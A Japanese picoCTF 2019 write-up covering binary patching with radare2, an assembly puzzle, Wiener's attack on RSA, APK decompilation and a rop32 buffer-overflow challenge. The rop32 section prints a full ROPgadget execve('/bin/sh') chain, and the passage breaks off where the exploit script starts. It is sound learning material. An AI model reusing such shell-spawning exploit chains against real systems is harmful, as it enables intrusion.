|           0x55d5eee65ce8      e8a3fbffff     call sym.imp.printf     ; int printf(const char *format)
|           0x55d5eee65ced      b800000000     mov eax, 0
|           0x55d5eee65cf2      e8b4ffffff     call sym.generate_challenge
|           0x55d5eee65cf7      bf0a000000     mov edi, 0xa
|           0x55d5eee65cfc      e84ffbffff     call sym.imp.putchar    ; int putchar(int c)
|           0x55d5eee65d01      488b05181320.  mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0
|           0x55d5eee65d08      4889c7         mov rdi, rax
|           0x55d5eee65d0b      e8d0fbffff     call sym.imp.fflush     ; int fflush(FILE *stream)
|           0x55d5eee65d10      488d3d350100.  lea rdi, qword [0x55d5eee65e4c] ; "Setting alarm..."
|           0x55d5eee65d17      e844fbffff     call sym.imp.puts       ; int puts(const char *s)
|           0x55d5eee65d1c      488b05fd1220.  mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0
|           0x55d5eee65d23      4889c7         mov rdi, rax
|           0x55d5eee65d26      e8b5fbffff     call sym.imp.fflush     ; int fflush(FILE *stream)
|           0x55d5eee65d2b      8b45fc         mov eax, dword [local_4h]
|           0x55d5eee65d2e      be00000000     mov esi, 0
|           0x55d5eee65d33      89c7           mov edi, eax
|           0x55d5eee65d35      e866fbffff     call sym.imp.ualarm
|           0x55d5eee65d3a      488d3d1c0100.  lea rdi, qword [0x55d5eee65e5d] ; "Solution? "
|           0x55d5eee65d41      b800000000     mov eax, 0
|           0x55d5eee65d46      e845fbffff     call sym.imp.printf     ; int printf(const char *format)
|           0x55d5eee65d4b      488d351e3a20.  lea rsi, qword [0x55d5ef069770]
|           0x55d5eee65d52      488d3d0f0100.  lea rdi, qword [0x55d5eee65e68] ; "%lld"
|           0x55d5eee65d59      b800000000     mov eax, 0
|           0x55d5eee65d5e      e88dfbffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x55d5eee65d63      488b15063a20.  mov rdx, qword [0x55d5ef069770] ; [0x55d5ef069770:8]=0
|           0x55d5eee65d6a      488b05073a20.  mov rax, qword [0x55d5ef069778] ; [0x55d5ef069778:8]=0
|           0x55d5eee65d71      4839c2         cmp rdx, rax
|       ,=< 0x55d5eee65d74      751a           jne 0x55d5eee65d90
|       |   0x55d5eee65d76      488d3df00000.  lea rdi, qword [0x55d5eee65e6d] ; "Congrats! Here is the flag!"
|       |   0x55d5eee65d7d      e8defaffff     call sym.imp.puts       ; int puts(const char *s)
|       |   0x55d5eee65d82      488d3d000100.  lea rdi, qword [0x55d5eee65e89] ; "/bin/cat flag.txt"
|       |   0x55d5eee65d89      e8f2faffff     call sym.imp.system     ; int system(const char *string)
|      ,==< 0x55d5eee65d8e      eb0c           jmp 0x55d5eee65d9c
|      |`-> 0x55d5eee65d90      488d3d040100.  lea rdi, qword [0x55d5eee65e9b] ; "Nope!"
|      |    0x55d5eee65d97      e8c4faffff     call sym.imp.puts       ; int puts(const char *s)
|      |    ; CODE XREF from main (0x55d5eee65d8e)
|      `--> 0x55d5eee65d9c      b800000000     mov eax, 0
|           0x55d5eee65da1      c9             leave
\           0x55d5eee65da2      c3             ret

先程と同じく、アラームをセットしてそうな関数 sym.imp.ualarm の呼び出しを nop 命令に書き換えてやります。

[0x55d5eee65cc3]> s 0x55d5eee65d35
[0x55d5eee65d35]> wao nop
[0x55d5eee65d35]> pdf
/ (fcn) main 224
|   main (int argc, char **argv, char **envp);
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from entry0 (0x55d5eee6594d)
|           0x55d5eee65cc3      55             push rbp
|           0x55d5eee65cc4      4889e5         mov rbp, rsp
|           0x55d5eee65cc7      4883ec10       sub rsp, 0x10
|           0x55d5eee65ccb      c745fc881300.  mov dword [local_4h], 0x1388
|           0x55d5eee65cd2      b800000000     mov eax, 0
|           0x55d5eee65cd7      e874fdffff     call sym.init_randomness
|           0x55d5eee65cdc      488d3d5d0100.  lea rdi, qword [0x55d5eee65e40] ; "Challenge: "
|           0x55d5eee65ce3      b800000000     mov eax, 0
|           0x55d5eee65ce8      e8a3fbffff     call sym.imp.printf     ; int printf(const char *format)
|           0x55d5eee65ced      b800000000     mov eax, 0
|           0x55d5eee65cf2      e8b4ffffff     call sym.generate_challenge
|           0x55d5eee65cf7      bf0a000000     mov edi, 0xa
|           0x55d5eee65cfc      e84ffbffff     call sym.imp.putchar    ; int putchar(int c)
|           0x55d5eee65d01      488b05181320.  mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0
|           0x55d5eee65d08      4889c7         mov rdi, rax
|           0x55d5eee65d0b      e8d0fbffff     call sym.imp.fflush     ; int fflush(FILE *stream)
|           0x55d5eee65d10      488d3d350100.  lea rdi, qword [0x55d5eee65e4c] ; "Setting alarm..."
|           0x55d5eee65d17      e844fbffff     call sym.imp.puts       ; int puts(const char *s)
|           0x55d5eee65d1c      488b05fd1220.  mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0
|           0x55d5eee65d23      4889c7         mov rdi, rax
|           0x55d5eee65d26      e8b5fbffff     call sym.imp.fflush     ; int fflush(FILE *stream)
|           0x55d5eee65d2b      8b45fc         mov eax, dword [local_4h]
|           0x55d5eee65d2e      be00000000     mov esi, 0
|           0x55d5eee65d33      89c7           mov edi, eax
|           0x55d5eee65d35      90             nop
..
|           0x55d5eee65d3a      488d3d1c0100.  lea rdi, qword [0x55d5eee65e5d] ; "Solution? "
|           0x55d5eee65d41      b800000000     mov eax, 0
|           0x55d5eee65d46      e845fbffff     call sym.imp.printf     ; int printf(const char *format)
|           0x55d5eee65d4b      488d351e3a20.  lea rsi, qword [0x55d5ef069770]
|           0x55d5eee65d52      488d3d0f0100.  lea rdi, qword [0x55d5eee65e68] ; "%lld"
|           0x55d5eee65d59      b800000000     mov eax, 0
|           0x55d5eee65d5e      e88dfbffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x55d5eee65d63      488b15063a20.  mov rdx, qword [0x55d5ef069770] ; [0x55d5ef069770:8]=0
|           0x55d5eee65d6a      488b05073a20.  mov rax, qword [0x55d5ef069778] ; [0x55d5ef069778:8]=0
|           0x55d5eee65d71      4839c2         cmp rdx, rax
|       ,=< 0x55d5eee65d74      751a           jne 0x55d5eee65d90
|       |   0x55d5eee65d76      488d3df00000.  lea rdi, qword [0x55d5eee65e6d] ; "Congrats! Here is the flag!"
|       |   0x55d5eee65d7d      e8defaffff     call sym.imp.puts       ; int puts(const char *s)
|       |   0x55d5eee65d82      488d3d000100.  lea rdi, qword [0x55d5eee65e89] ; "/bin/cat flag.txt"
|       |   0x55d5eee65d89      e8f2faffff     call sym.imp.system     ; int system(const char *string)
|      ,==< 0x55d5eee65d8e      eb0c           jmp 0x55d5eee65d9c
|      |`-> 0x55d5eee65d90      488d3d040100.  lea rdi, qword [0x55d5eee65e9b] ; "Nope!"
|      |    0x55d5eee65d97      e8c4faffff     call sym.imp.puts       ; int puts(const char *s)
|      |    ; CODE XREF from main (0x55d5eee65d8e)
|      `--> 0x55d5eee65d9c      b800000000     mov eax, 0
|           0x55d5eee65da1      c9             leave
\           0x55d5eee65da2      c3             ret

書き換わりました。実行してみます。

[0x55d5eee65d35]> dc
child stopped with signal 28
[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0
[0x7f5b2fa8f090]> dc
Challenge: (((((-1982268561) + (-1444093994)) + ((1117194421) + (-912361492))) + (((989152480) + (-291929964)) + ((-264121727) - (-1666546368)))) + ((((1612520392) + (-572254994)) + ((1123757008) + (995405020))) + (((12448772) + (-765732374)) - ((1972963965) + (-1768083840)))))
Setting alarm...
Solution?

今回はこの状態で止まってくれました!ゆっくり計算して答えを入力します。計算はいけそうだったのでこのままpythonに貼り付けて説いてもらいました。

ans = (((((-1982268561) + (-1444093994)) + ((1117194421) + (-912361492))) + (((989152480) + (-291929964)) + ((-264121727) - (-1666546368)))) + ((((1612520392) + (-572254994)) + ((1123757008) + (995405020))) + (((12448772) + (-765732374)) - ((1972963965) + (-1768083840)))))

print(ans)

実行結果

$ python solve.py 
1079381230

よしよし。これを先程のradare2でデバッグ実行中のところに入力します。

Solution? 1079381230
Congrats! Here is the flag!
localCTF{this_is_local_flag_!!!!!!!!!!}

(๑•̀ㅂ•́)و✧

と思ったら、これ、localのflag.txtじゃん!(テストのために置いてる)
ということで、picoCTFのshell server上で解く必要があります。

shell serverにはradare2は入っていないので、他のツールで解く必要があります。今回はGDBを使ってみます。picoCTF2018のReversing問題 be-quick-or-be-dead1 のその3に、"gdbだけでやりきりたい!"という項目で載せていました。シグナルを全offにして、デバッグモードで実行してみます。

$ gdb times-up
(略)
(gdb) handle all ignore
Signal        Stop      Print   Pass to program Description
SIGHUP        Yes       Yes     No              Hangup
SIGQUIT       Yes       Yes     No              Quit
...(略)
(gdb) run
Starting program: /problems/time-s-up_2_af1f9d8c14e16bcbe591af8b63f7e286/times-up 
Challenge: (((((-1532720758) + (732229552)) + ((-1799311870) + (214811557))) + (((-619114570) + (-351527216)) + ((315887792) - (1527481484)))) - ((((111131353) - (2027506871)) - ((224267921) + (-1434791432))) - (((1877987877) + (364679728)) + ((-1569441588) - (-1322436268)))))
Setting alarm...
Solution? -1865712705
Congrats! Here is the flag!
/bin/cat: flag.txt: Permission denied
[Inferior 1 (process 2651316) exited normally]

がーーん。GDB経由ではPermissionDeniedflag.txtが触れないみたい…(꒪⌓꒪)
意気消沈した私はこの問題を封印したのであった…(競技期間終了)

localでは、下記のスクリプトでも間に合ってfalgが出てきましたが、picoCTFサーバに接続するいつものやり方だとsendが間に合わない様子。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

prefix = 'Challenge: '
p = process('./times-up')
q = p.readline()[len(prefix):]
p.recvuntil(b'Setting alarm...\n')
p.sendline(str(eval(q)))
p.recv()
print(p.recv())

問題のディレクトリにはスクリプトを生成できないので、このスクリプトをそのまま picoCTF shell server の問題directoryで実行する事ができない。ムムム。homeディレクトリにスクリプトが置けるが、それを実行するとflag.txtをcurrent directoryから探しに行くのでNot foundになってしまう...

と、悩んでいましたが、上記のスクリプトpythonを立ち上げてからガッと貼り付ける方式で取れました٩(๑❛ᴗ❛๑)尸
ちなみにpython3のつもりで書いたコードでしたが、pico shellはpyton2系。でも動いてくれました。ラッキー!

$ cd /problems/time-s-up_2_af1f9d8c14e16bcbe591af8b63f7e286
$ python
Python 2.7.15+ (default, Oct  7 2019, 17:39:04) 
[GCC 7.4.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> 
>>> prefix = 'Challenge: '
>>> p = process('./times-up')
[x] Starting local process './times-up'
[+] Starting local process './times-up': pid 89779
>>> q = p.readline()[len(prefix):]
>>> p.recvuntil(b'Setting alarm...\n')
'Setting alarm...\n'
>>> p.sendline(str(eval(q)))
>>> p.recv()
'Solution? Congrats! Here is the flag!\n'
>>> print(p.recv())
[*] Process './times-up' stopped with exit code 0 (pid 89779)
picoCTF{Gotta go fast. Gotta go FAST. #2d5896e7}

結局一番Revっぽくない解法に落ち着いてしまった…。

[Reversing] asm4 (400pt)

What will asm4("picoCTF_d7243") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4_1_20b49d5dfd7aa7eceb32a78d2468fea1.

またアセンブリが配布されます。このasmシリーズも長いです…。

asm4:
    <+0>: push   ebp
    <+1>: mov    ebp,esp
    <+3>: push   ebx
    <+4>: sub    esp,0x10
    <+7>: mov    DWORD PTR [ebp-0x10],0x244
    <+14>:    mov    DWORD PTR [ebp-0xc],0x0
    <+21>:    jmp    0x518 <asm4+27>
    <+23>:    add    DWORD PTR [ebp-0xc],0x1
    <+27>:    mov    edx,DWORD PTR [ebp-0xc]
    <+30>:    mov    eax,DWORD PTR [ebp+0x8]
    <+33>:    add    eax,edx
    <+35>:    movzx  eax,BYTE PTR [eax]
    <+38>:    test   al,al
    <+40>:    jne    0x514 <asm4+23>
    <+42>:    mov    DWORD PTR [ebp-0x8],0x1
    <+49>:    jmp    0x587 <asm4+138>
    <+51>:    mov    edx,DWORD PTR [ebp-0x8]
    <+54>:    mov    eax,DWORD PTR [ebp+0x8]
    <+57>:    add    eax,edx
    <+59>:    movzx  eax,BYTE PTR [eax]
    <+62>:    movsx  edx,al
    <+65>:    mov    eax,DWORD PTR [ebp-0x8]
    <+68>:    lea    ecx,[eax-0x1]
    <+71>:    mov    eax,DWORD PTR [ebp+0x8]
    <+74>:    add    eax,ecx
    <+76>:    movzx  eax,BYTE PTR [eax]
    <+79>:    movsx  eax,al
    <+82>:    sub    edx,eax
    <+84>:    mov    eax,edx
    <+86>:    mov    edx,eax
    <+88>:    mov    eax,DWORD PTR [ebp-0x10]
    <+91>:    lea    ebx,[edx+eax*1]
    <+94>:    mov    eax,DWORD PTR [ebp-0x8]
    <+97>:    lea    edx,[eax+0x1]
    <+100>:   mov    eax,DWORD PTR [ebp+0x8]
    <+103>:   add    eax,edx
    <+105>:   movzx  eax,BYTE PTR [eax]
    <+108>:   movsx  edx,al
    <+111>:   mov    ecx,DWORD PTR [ebp-0x8]
    <+114>:   mov    eax,DWORD PTR [ebp+0x8]
    <+117>:   add    eax,ecx
    <+119>:   movzx  eax,BYTE PTR [eax]
    <+122>:   movsx  eax,al
    <+125>:   sub    edx,eax
    <+127>:   mov    eax,edx
    <+129>:   add    eax,ebx
    <+131>:   mov    DWORD PTR [ebp-0x10],eax
    <+134>:   add    DWORD PTR [ebp-0x8],0x1
    <+138>:   mov    eax,DWORD PTR [ebp-0xc]
    <+141>:   sub    eax,0x1
    <+144>:   cmp    DWORD PTR [ebp-0x8],eax
    <+147>:   jl     0x530 <asm4+51>
    <+149>:   mov    eax,DWORD PTR [ebp-0x10]
    <+152>:   add    esp,0x10
    <+155>:   pop    ebx
    <+156>:   pop    ebp
    <+157>:   ret    

今回はもう入力文字も長いし、処理も長いので、コンパイルして実行させちゃいます。
上記のアセンブラを下記のように整形。

asm4.S

.intel_syntax noprefix
/* .bits 32 */
.global asm4

asm4:
    push   ebp
    mov    ebp,esp
    push   ebx
    sub    esp,0x10
    mov    DWORD PTR [ebp-0x10],0x244
    mov    DWORD PTR [ebp-0xc],0x0
    jmp    part_a
part_b:
    add    DWORD PTR [ebp-0xc],0x1
part_a:
    mov    edx,DWORD PTR [ebp-0xc]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    part_b
    mov    DWORD PTR [ebp-0x8],0x1
    jmp    part_c
part_d:
    mov    edx,DWORD PTR [ebp-0x8]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    movsx  edx,al
    mov    eax,DWORD PTR [ebp-0x8]
    lea    ecx,[eax-0x1]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,ecx
    movzx  eax,BYTE PTR [eax]
    movsx  eax,al
    sub    edx,eax
    mov    eax,edx
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x10]
    lea    ebx,[edx+eax*1]
    mov    eax,DWORD PTR [ebp-0x8]
    lea    edx,[eax+0x1]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    movsx  edx,al
    mov    ecx,DWORD PTR [ebp-0x8]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,ecx
    movzx  eax,BYTE PTR [eax]
    movsx  eax,al
    sub    edx,eax
    mov    eax,edx
    add    eax,ebx
    mov    DWORD PTR [ebp-0x10],eax
    add    DWORD PTR [ebp-0x8],0x1
part_c:
    mov    eax,DWORD PTR [ebp-0xc]
    sub    eax,0x1
    cmp    DWORD PTR [ebp-0x8],eax
    jl     part_d
    mov    eax,DWORD PTR [ebp-0x10]
    add    esp,0x10
    pop    ebx
    pop    ebp
    ret    

アセンブリを呼び出して結果を出力するmain.cを作成

#include <stdio.h>

int main(void) {
    printf("0x%x\n", asm4("picoCTF_d7243"));
    return 0;
}

以上を用意し、Linux上でコンパイル、実行します。

$ gcc -m32 -c asm4.S -o asm4.o
$ gcc -m32 -c main.c -o main.o -w
$ gcc -m32 main.o asm4.o -o solve
$ ./solve
0x1d2

ということで、flagはpicoCTF{0x1d2}でした。
競技中に上記のメモまであったのに、なぜかflagを入れ忘れていたっぽい。残念。

[Crypto] b00tl3gRSA2 (400pt)

In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 29290

指定されたホストにつないでみます。

$ nc 2019shell1.picoctf.com 29290
c: 69954825269289114285562364559827080418242617773351098515179285159151058602419645920485292491777044680213605010503930448503705928436621901182259703637623209648502150089300103867138351691126189673739396232780280225733519058371779682965051061167986045288444178833346183503916214932658942856994651957150303387474
n: 88365291461765191944126449837486625657884643988985542670357313402902453386235801662328508949168426082571891462053332968303334523904894060249690124664186873931172291666461981979664805699410119169698562294077288782516027216354662172661687591750376628879234706513854943850504696160076651351800932537317709413843
e: 4225656094132659590046726182014481663973182694683624375984555597673013548262248842787090453433844200112612842242933694289678355706210811981362113778439074152821548252396208860893745254982617088005214993398175452850087385374462359209020578346010957177426318438931956330870746366479519055051954823054670824193

ここからcを復号しましょうという問題のようです。miniRSA の問題のときは e が小さすぎることを利用した Low Public Exponent Attack を使いましたが、今回はどう見ても e が大きすぎます。
いつものスライド RSA暗号運用でやってはいけない n のこと #ssmjp のその7「eの値が大きすぎてはいけない」 より、Wiener's Attackが使えそうです。

e が大きいと相対的に d が小さくなることを利用して、en から秘密鍵が求まる

picoCTF2018のSuper Safe RSA 2でも同じ問題が出ていました。今回も下記のツールを使わせていただきます。

GitHub - orisano/owiener: A Python3 implementation of the Wiener attack on RSA

$ python solve.py 
Hacked d=65537
b'picoCTF{bad_1d3a5_2906536}'

出ました!ライブラリありがとう!

[Reversing] droids2 (400pt)

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.

droids0, droids1に引き続きandroidアプリの問題です。

前回と同様、AndroidStudioで Profile or debug APK を選択してプロジェクトを作成、エミュレーターでアプリを立ち上げます。

f:id:kusuwada:20191210135539p:plain

画面上部のmessageは、

small sounds like an ikea bookcase

ボタンは

HELLO, I AM BUTTON

その下に

I'm a flag!

と書いてあります。今回もボタンを押してみましょう。

f:id:kusuwada:20191210135857p:plain

画面上にはflagは現れないようです。

今までヒントになってきていた画面上部のメッセージを再度確認してみます。イケヤの本棚みたいな小さな音?🤔
ちなみに、resources.arscにも、上の文言は string > hintvalue になっているので、ヒントであることに間違いはなさそう。

…けど、ヒントの意味がぜんぜんわからないので、とりあえずソースを読んでみます。
two > java > com.hellocmu > picoctf > FlagstaffHill

ここの getFlag method を確認してみます。長いので畳んでおきます。

getFlag

.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .registers 12
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    .line 11
    const/4 v0, 0x6

    new-array v0, v0, [Ljava/lang/String;

    .line 12
    .local v0, "witches":[Ljava/lang/String;
    const/4 v1, 0x0

    const-string v2, "weatherwax"

    aput-object v2, v0, v1

    .line 13
    const/4 v1, 0x1

    const-string v2, "ogg"

    aput-object v2, v0, v1

    .line 14
    const/4 v1, 0x2

    const-string v2, "garlick"

    aput-object v2, v0, v1

    .line 15
    const/4 v1, 0x3

    const-string v2, "nitt"

    aput-object v2, v0, v1

    .line 16
    const/4 v1, 0x4

    const-string v2, "aching"

    aput-object v2, v0, v1

    .line 17
    const/4 v1, 0x5

    const-string v2, "dismass"

    aput-object v2, v0, v1

    .line 19
    const/4 v1, 0x3

    .line 20
    .local v1, "first":I
    sub-int v2, v1, v1

    .line 21
    .local v2, "second":I
    div-int v3, v1, v1

    add-int/2addr v3, v2

    .line 22
    .local v3, "third":I
    add-int v4, v3, v3

    sub-int/2addr v4, v2

    .line 23
    .local v4, "fourth":I
    add-int v5, v1, v4

    .line 24
    .local v5, "fifth":I
    add-int v6, v5, v2

    sub-int/2addr v6, v3

    .line 26
    .local v6, "sixth":I
    aget-object v7, v0, v5

    .line 27
    const-string v8, ""

    invoke-virtual {v8, v7}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    const-string v8, "."

    invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    aget-object v9, v0, v3

    invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    aget-object v9, v0, v2

    .line 28
    invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    aget-object v9, v0, v6

    invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    aget-object v9, v0, v1

    .line 29
    invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    aget-object v8, v0, v4

    invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v7

    .line 32
    .local v7, "password":Ljava/lang/String;
    invoke-virtual {p0, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v8

    if-eqz v8, :cond_76

    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->sesame(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v8

    return-object v8

    .line 33
    :cond_76
    const-string v8, "NOPE"

    return-object v8
.end method

はー、全然読めない。
なんか "witches","weatherwax","ogg","garlick","nitt","aching","dismass","." の文字列がアヤシイ。が、何をどう操作したらpasswordになるかの読み方がいまいちわからない。

前に apk のデバッグ手順のときに参考にした 事前ビルド済み APK のプロファイリングやデバッグを行う  |  Android Developers を再度確認してみると、このときdecompile結果として出力されるのは .dex を人間に読みやすくした .smali という形式らしい。

これをさらに解読するためのツールを調べていると、下記のツール・記事が。

上の記事では、apkをunzipして出てくる dex ファイルを、 dex2jar というツールにかけて jar ファイルにし、更にJavaコードを抽出する方法が紹介されています。
下のツールは、smaliファイルを直接javaに変換してくれるようです。

今回は上のやり方を試します。dex2jarjadをinstallし、下記の手順で解析(MacOS)。ディレクトリは適当なので読み替えつつ。

$ unzip -d two two.apk
$ ./d2j-dex2jar.sh two/classes.dex
$ unzip two/classes-dex2jar.jar
$ ./jad -r two/com/hellocmu/picoctf/FlagstaffHill.class

これで生成されたFlagstaffHill.jadファイルを確認すると、

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 

package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{

    public FlagstaffHill()
    {
    }

    public static String getFlag(String s, Context context)
    {
        context = new String[6];
        context[0] = "weatherwax";
        context[1] = "ogg";
        context[2] = "garlick";
        context[3] = "nitt";
        context[4] = "aching";
        context[5] = "dismass";
        int i = 3 - 3;        // 0
        int j = 3 / 3 + i;    // 1
        int k = (j + j) - i;  // 2
        int l = 3 + k;        // 5
        if(s.equals("".concat(context[l]).concat(".").concat(context[j]).concat(".").concat(context[i]).concat(".").concat(context[(l + i) - j]).concat(".").concat(context[3]).concat(".").concat(context[k])))
            return sesame(s);
        else
            return "NOPE";
    }

    public static native String sesame(String s);
}

ああ、読める!ということで、パスワードは

dismass.ogg.weatherwax.aching.nitt.garlick

これをエミュレーター入力するとflagが出てきました!

f:id:kusuwada:20191210140035p:plain

結局ヒントの使い所がよくわからなかった…。

[Binary] rop32 (400pt)

Can you exploit the following program to get a flag? You can find the program in /problems/rop32_0_b4142d4df31cb73e170c77dac234a79a on the shell server. Source.

実行ファイルvulnソースコードvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

とてもシンプル!
flag.txtがpico shell server上にあるので、shellを取ってflag.txtを表示させる問題っぽい。

ここで、radare2でこの実行ファイルの関数を見てみます。

$ r2 vuln 
WARNING: Cannot initialize dynamic strings
[0x08048730]> aaaa
[[anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e6e3
[anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e6c3
[anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e703
[anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e723
[x] Analyze all flags starting with sym. and entry0 (aa)
[Invalid instruction of 1024 bytes at 0x80bb184
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x08048730]> afl

…めっちゃ関数が出てきました。とてもシンプルなソースなはずなのにおかしい。2018年の問題と同じく、libcが静的リンクされているようです。
picoCTF2018 can-you-gets-me にもROPに関する問題が出題されていました。
問題の内容もほぼ同じなので、同じく、ROPGadgetを使ってROPを組んでもらったら解けそう!

と思い、前回同様ROPgadgetで作ったchainを投げてみたけどflag取れませんでした。
その時使用したROPgadgetのコマンドがこちら。

$ ROPgadget --binary vuln --ropchain

ここで競技期間終了。

他のwiteupを読み漁った所、下記が原因でうまく動かないそうです。

  • gets()関数が使われている
  • ROPgadget の chain には、defaultで改行(ascii codeで0xa)が使われる

gets()関数は改行が入力されるとそこで読み込みを停止してしまうため、ROPchainに入っていると途中で止まってしまうそうです。なので、改行を除いたgadgetを使ってchainを組んで貰う必要があります。
特定の文字をchainから除くときは --badbytes オプションを使用します。

では、改行コードを除いてROPchainを組んでもらいます。

$ ROPgadget --binary ./vuln --ropchain --badbytes 0a
(略)
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

    [+] Gadget found: 0x8056e65 mov dword ptr [edx], eax ; ret
    [+] Gadget found: 0x806ee6b pop edx ; ret
    [+] Gadget found: 0x8056334 pop eax ; pop edx ; pop ebx ; ret
    [+] Gadget found: 0x8056420 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

    [+] Gadget found: 0x8056420 xor eax, eax ; ret
    [+] Gadget found: 0x807c2fa inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

    [+] Gadget found: 0x80481c9 pop ebx ; ret
    [+] Gadget found: 0x806ee92 pop ecx ; pop ebx ; ret
    [+] Gadget found: 0x806ee6b pop edx ; ret

- Step 4 -- Syscall gadget

    [+] Gadget found: 0x8049563 int 0x80

- Step 5 -- Build the ROP chain

    #!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da060) # @ .data
    p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
    p += '/bin'
    p += pack('<I', 0x080da060) # padding without overwrite edx
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da064) # @ .data + 4
    p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
    p += '//sh'
    p += pack('<I', 0x080da064) # padding without overwrite edx
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da068) # @ .data + 8
    p += pack('<I', 0x08056420) # xor eax, eax ; ret
    p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080da060) # @ .data
    p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080da068) # @ .data + 8
    p += pack('<I', 0x080da060) # padding without overwrite ebx
    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da068) # @ .data + 8
    p += pack('<I', 0x08056420) # xor eax, eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x08049563) # int 0x80

上記のStep5をそのまま使って、exploitコードを組みます。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# execve generated by ROPgadget

from pwn import *
from struct import pack

